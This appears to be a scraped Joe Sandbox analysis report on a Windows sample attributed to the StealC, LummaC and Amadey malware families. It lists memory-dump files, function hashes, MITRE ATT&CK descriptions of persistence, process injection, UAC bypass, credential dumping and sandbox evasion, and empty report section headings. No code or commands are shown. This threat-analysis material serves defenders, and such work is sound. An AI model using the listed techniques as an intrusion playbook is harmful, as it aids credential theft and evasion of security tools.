Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d7901eb14fbae04af1549d8fabf331514f7ab6ca43ecc65e3b92c3152d9931ee
Instruction ID: 57d5e11dac035ee01911ac16ee19e2872589df3ebbfbdda53b5fb60b668a171b
Opcode Fuzzy Hash: d7901eb14fbae04af1549d8fabf331514f7ab6ca43ecc65e3b92c3152d9931ee
Instruction Fuzzy Hash: A3C04CB012C119CFCB006F18C4045BDF6F8FE64706F22180E98C242501DB714CA0DA1A

Analysis Process: R4UI5PZ4W045Z6XA.exePID: 1684, Parent PID: 3440COMMON

Executed Functions

Function 053E07E8 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e787abb04d43758022287f0ab8b7fd84668488a71b0f00a41d543c6e4b867d4
Instruction ID: 85d84a8549c2d1121014780834666c8ffb0ee1890ec4ab71603c3a0d8d451b3b
Opcode Fuzzy Hash: 9e787abb04d43758022287f0ab8b7fd84668488a71b0f00a41d543c6e4b867d4
Instruction Fuzzy Hash: 353124E704C171BEB20BC5926A5CAFB2BEFD5C2630330842BF486D59C2D2D54A4A45B2

Function 053E070C Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cae433213a5e1373f200ab737da12f5bc1da865a1994d4376c69c67dcf4b1e1
Instruction ID: 6b3b774e60846f0aa34def9b9bebda3d705e110b21db613404b751ecbeebea9a
Opcode Fuzzy Hash: 5cae433213a5e1373f200ab737da12f5bc1da865a1994d4376c69c67dcf4b1e1
Instruction Fuzzy Hash: 5931BFE710C135BDB14BC4526B5CAFA2BEFD5D2730331C426F847D5E82D2D84A8A5572

Function 053E073D Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b5df1f97c4814f83fa4e8ec68d5e3860077d6325e67683071f6c7371df68681
Instruction ID: 25da5d5687aa136828dec1d836635cbdcb4b5b5215618fdec32f5fa621472ae9
Opcode Fuzzy Hash: 8b5df1f97c4814f83fa4e8ec68d5e3860077d6325e67683071f6c7371df68681
Instruction Fuzzy Hash: B7218CE710C136BDB15AC8426F5CAFB1BEFD1D6730331C426F857D5A82D2E84A9A14B2

Function 053E074A Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cbdec5b396cb2f253d176c6d5c9e11595817a511ea0437883f01c8400388fb0
Instruction ID: c36c4be34e2c0364f9632efa34cc8b64b5130c372a238258a1f406fd6012f0e9
Opcode Fuzzy Hash: 4cbdec5b396cb2f253d176c6d5c9e11595817a511ea0437883f01c8400388fb0
Instruction Fuzzy Hash: C021E2E710C135BDB14AC8426B5CAFA1BEFD5D2730331C427F847D5982D2D84A8E1172

Function 053E0761 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa56980379e17865a26482885d92c8a1ada53e9982237ad8323e87891de2f190
Instruction ID: 531991b8ebde2fcb7834c2e34cde7123910211eb21342075f146c4d005dcc073
Opcode Fuzzy Hash: aa56980379e17865a26482885d92c8a1ada53e9982237ad8323e87891de2f190
Instruction Fuzzy Hash: BE21B0E700C135BC715AC4426B5CAFA17EFD1D6730331C426F847D6982D2D84A9A14B2

Function 053E0783 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6837b92b7aa80dac874b88076ff9feee5381b73cbb0cb124c5f806f14b2098b8
Instruction ID: 20ed3adf7d12a448189ab99fe4d424dc667ae36d632f04bf767267331f3987f7
Opcode Fuzzy Hash: 6837b92b7aa80dac874b88076ff9feee5381b73cbb0cb124c5f806f14b2098b8
Instruction Fuzzy Hash: 8C21E4A700C175BEB20BC5416E5CAFA6BEFD6C17303308427F846D69C2C2D84A4A51B2

Function 053E076A Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d49e3dd22fe821738db8c272a2d6071a70a6e202fc0cee9ef9f805e8bc281afa
Instruction ID: 8a3515b860212c31ab473b69166b25d2b2081a4f62e3197d018f1207bfa7d766
Opcode Fuzzy Hash: d49e3dd22fe821738db8c272a2d6071a70a6e202fc0cee9ef9f805e8bc281afa
Instruction Fuzzy Hash: 4721BEE710C135BCB15AC9426F5CAFA2BEFD1D2730331C427F847D5A82D2E94A9A15B2

Function 053E07AD Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51989a91a31d524a752f53b37757cc222229921b5b6120d6e6d829768d12cd5e
Instruction ID: 94cf1246a0c55abb4dccc6a7b7a084814c339c6cff887349aefd294edea3d714
Opcode Fuzzy Hash: 51989a91a31d524a752f53b37757cc222229921b5b6120d6e6d829768d12cd5e
Instruction Fuzzy Hash: E321D1E700C131BDB25AC842AE4CAFA2BEFE1D1730331C427F856D4982D2E84A5A5172

Function 053E07C6 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eb68dafaa1957b65076287cc87f566b82cf7e55c9f901c02da5954105d8a0c1
Instruction ID: 59657b30ce8b82321f2e817307f5d409b16f956ed49abe13e401710907dfe3f6
Opcode Fuzzy Hash: 4eb68dafaa1957b65076287cc87f566b82cf7e55c9f901c02da5954105d8a0c1
Instruction Fuzzy Hash: CC11ACEB00C135BDB25BC8426E5CAFA2BEFD1D2730331C427F856D4982D2D94E8A51B2

Function 053E082F Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 105b6dd1578cec991488dd33663fb8b3bda196e050918bc701782a72b2e5c939
Instruction ID: 3294628053c299b0d7f0bfb40545b99bd89bec601d11982c84d2957fa7d392f2
Opcode Fuzzy Hash: 105b6dd1578cec991488dd33663fb8b3bda196e050918bc701782a72b2e5c939
Instruction Fuzzy Hash: 421136A700C131ADB21BC881AA5CABB2BEFE5D2330331C427F897D49D2D1D84E4A41F2

Function 053E0819 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39348bf3c0ec0ed01838849815bcde564189906dda10a978391de17609e89ee6
Instruction ID: 258527a77c920e94abff6e8e38b4546e587b8e1dc7bbffde96901742118df323
Opcode Fuzzy Hash: 39348bf3c0ec0ed01838849815bcde564189906dda10a978391de17609e89ee6
Instruction Fuzzy Hash: 0501F5A700C131FCB25AD8826A4CABB1BEFD1D2730331C423F44AD4AC2D2E84E8A5172

Function 053E084F Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab3604aaa977d0363b6fb48c4a37a11e51449a6df4d728baf897f0d7190a9753
Instruction ID: 5895df2097a9237a19d7d8be35cadc25e939a0a5be776be3aa3d356419315b7c
Opcode Fuzzy Hash: ab3604aaa977d0363b6fb48c4a37a11e51449a6df4d728baf897f0d7190a9753
Instruction Fuzzy Hash: C1014CA700C131BDF21FD9916A0CAB61BDFE5D27303348427F446D4E92D2D9454A5172

Function 053E086D Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cdad0e8c33213767d5c79fa6ea3b4bac6e328ea228d858d6f703455618d7e6
Instruction ID: 8ae8aa265d0dcff3b54045d53bf5d85f559ff8e1bfe7662733a44490632bda22
Opcode Fuzzy Hash: 43cdad0e8c33213767d5c79fa6ea3b4bac6e328ea228d858d6f703455618d7e6
Instruction Fuzzy Hash: CE0149E700C131AEB21AEC526A1CABB57DFE1D27303308427F046D59D2D3D9468A2132

Function 053E0886 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e171ca08c2dce81edaeb1d2525e4aa28bf5c0a8ca89917f2a87a1f00a92d46d
Instruction ID: 87c6d9a3b57af2d1b3cdaedcd5fa1abb2b37db9914c899248823d440e8106111
Opcode Fuzzy Hash: 8e171ca08c2dce81edaeb1d2525e4aa28bf5c0a8ca89917f2a87a1f00a92d46d
Instruction Fuzzy Hash: 18F028A700C275EEF25ADD92A61D6FD2BDED6863303318427F046D4682D2D8058F5232

Function 053E0940 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d049c94193edb1008237df8ac0a4834816b11f2d26b4e1f8d8570b77f73789d0
Instruction ID: d9bee94d844e2af7921d490d9812ed0ed568c9f930fd649fa663e868746aac5b
Opcode Fuzzy Hash: d049c94193edb1008237df8ac0a4834816b11f2d26b4e1f8d8570b77f73789d0
Instruction Fuzzy Hash: 59F09797408234ADF319E9E2634D3B5AFCF6A4B6313300523F446AE9E2E1C9464E4021

Function 053E08A9 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87a50743f9239845afc48d6f7b217febaa109051c0d261cfe9dcfbd4c0d4c009
Instruction ID: 360468b9320ba9cf6731db843ce2673eb0d2550adf54be360282265ef55c0acd
Opcode Fuzzy Hash: 87a50743f9239845afc48d6f7b217febaa109051c0d261cfe9dcfbd4c0d4c009
Instruction Fuzzy Hash: 55F0DC9300C131FDF24EDE82A60C63A2FDFB6923343304812F086D5AC3D2E94A5A5632

Function 053E08DB Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7360f41cd4ec926882017a9b58a8ac72644e176da459473955d14c6e87aa1182
Instruction ID: 561044fff6cce6e85d4df60bed9b8197341ef462b712e0682ef469ade7f29acd
Opcode Fuzzy Hash: 7360f41cd4ec926882017a9b58a8ac72644e176da459473955d14c6e87aa1182
Instruction Fuzzy Hash: BAF05CE74082287EF259E9E2624D3B5AFCF6A5B2303304423F446EB6E2D1CA465A4121

Function 053E08CC Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615835e86155c82dfcdbfaddc57a68d596cd1d779a49b1fa0c9be090b7cd0403
Instruction ID: cab44f4d32ac06336f12353d6c85e57b4dc0addf6fac847e3f6116635f0c4b6b
Opcode Fuzzy Hash: 615835e86155c82dfcdbfaddc57a68d596cd1d779a49b1fa0c9be090b7cd0403
Instruction Fuzzy Hash: 53E02B97408035ADB659DD92A64D7B92FCF66863303304412F05BD59D2D6D8469B5132

Function 053E08A3 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2331271253.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53e0000_R4UI5PZ4W045Z6XA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c74cf7f7d82b30a43438f1eb7ef33bec3a2417ff470ec25270ed655252f984c
Instruction ID: 9893ee660abc5906dda400a3520346d74c4f4908d17a34f6f5f45f8b63df91cc
Opcode Fuzzy Hash: 3c74cf7f7d82b30a43438f1eb7ef33bec3a2417ff470ec25270ed655252f984c
Instruction Fuzzy Hash: B2E0689B408134ACF25ADD92A60C6796FCFA6966303304423F047C5AD2D5C8464E1032

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

